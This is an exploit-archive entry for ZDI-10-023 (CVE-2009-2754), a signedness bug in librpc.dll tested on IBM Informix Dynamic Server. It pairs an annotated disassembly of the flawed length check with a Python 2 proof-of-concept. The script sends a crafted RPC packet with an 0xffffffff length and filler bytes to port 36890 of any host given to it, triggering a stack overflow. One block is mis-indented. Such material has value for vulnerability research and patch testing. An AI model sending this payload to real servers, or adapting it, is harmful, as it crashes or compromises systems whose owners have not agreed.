Multiple Vendor 'librpc.dll' Signedness Error - Remote Code Execution

# Exploit Title: ZDI-10-023: Multiple Vendor librpc.dll Signedness Error Remote Code Execution Vulnerability

# Date: 2010-04-08

# Author: ZSploit.com

# Software Link: N/A

# Version: N/A

# Tested on: IBM Informix Dynamic Server 10.0

# CVE : CVE-2009-2754



#! /usr/bin/env python

###############################################################################

## File       :  zs_ids_rpc.py

## Description:

##            :

## Created_On :  Mar 21 2010

##

## (c) Copyright 2010, ZSploit.com. all rights reserved.

###############################################################################

"""

The issue in __lgto_svcauth_unix():



.text:1000B8E1                 mov     [ebp+0], eax

.text:1000B8E4                 mov     eax, [ebx]

.text:1000B8E6                 push    eax             ; netlong

.text:1000B8E7                 add     ebx, 4

.text:1000B8EA                 call    esi ; ntohl    ; Get length of hostname

.text:1000B8EC                 cmp     eax, 0FFh    ; Signedness error, if we give 0xffffffff(-1) will pass this check

.text:1000B8F1                 jle     short loc_1000B8FD

.text:1000B8F3                 mov     esi, 1

.text:1000B8F8                 jmp     loc_1000B9D5

.text:1000B8FD ; ---------------------------------------------------------------------------

.text:1000B8FD

.text:1000B8FD loc_1000B8FD:                           ; CODE XREF: __lgto_svcauth_unix+71j

.text:1000B8FD                 mov     edi, [ebp+4]

.text:1000B900                 mov     ecx, eax

.text:1000B902                 mov     edx, ecx

.text:1000B904                 mov     esi, ebx

.text:1000B906                 shr     ecx, 2

.text:1000B909                 rep movsd        ; call memcpy here with user-supplied size cause a stack overflow

.text:1000B90B                 mov     ecx, edx

.text:1000B90D                 add     eax, 3

.text:1000B910                 and     ecx, 3

.text:1000B913                 rep movsb

"""



import sys

import socket



if (len(sys.argv) != 2):

    print "Usage:\t%s [target]" % sys.argv[0]

    sys.exit(0)





data = "\x80\x00\x00\x74\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02" \

    "\x00\x01\x86\xb1\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01" \

    "\x00\x00\x00\x4c\x00\x00\xd6\x45\xff\xff\xff\xff\x41\x41\x41\x41" \

    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\x00\x00" \

    "\x00\x00\x00\x00\x00\x00\x00\x0a\x42\x42\x42\x42\x42\x42\x42\x42" \

    "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" \

    "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" \

    "\x00\x00\x00\x00\x00\x00\x00\x00"



host = sys.argv[1]

port = 36890



print "PoC for ZDI-10-023 by ZSploit.com"

try:

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:

    s.connect((host, port))

        s.send(data)

        print "Sending payload .."

    except:

        print "Error in send"

    print "Done"

except:

    print "Error in socket"



The ZSploit Team

http://zsploit.com